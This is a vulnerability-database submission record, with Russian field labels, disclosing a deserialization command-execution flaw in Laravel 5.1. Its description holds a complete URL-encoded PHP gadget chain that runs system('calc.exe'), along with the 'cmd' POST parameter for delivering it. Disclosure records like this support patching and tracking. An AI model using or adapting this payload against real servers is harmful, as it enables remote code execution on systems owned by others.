| Название | Laravel exists command execution |
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| Описание | laravel 5.1 exists deserialization command execution，
The laravel version number is 5.1.
This vulnerability can be used to obtain host system permissions.
The details of the vulnerability are at the following link, which is different from the chain circulating on the Internet
exp:
O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D
post pass parameter cmd parameter
cmd=O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D |
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| Источник | ⚠️ https://github.com/beicheng-maker/vulns/issues/2 |
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| Пользователь | F10wers13eiCheng (UID 30725) |
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| Представление | 17.08.2022 05:22 (4 лет назад) |
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| Модерация | 17.08.2022 06:46 (1 hour later) |
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| Статус | принято |
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| Запись VulDB | 206501 [laravel 5.1 эскалация привилегий] |
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| Баллы | 20 |
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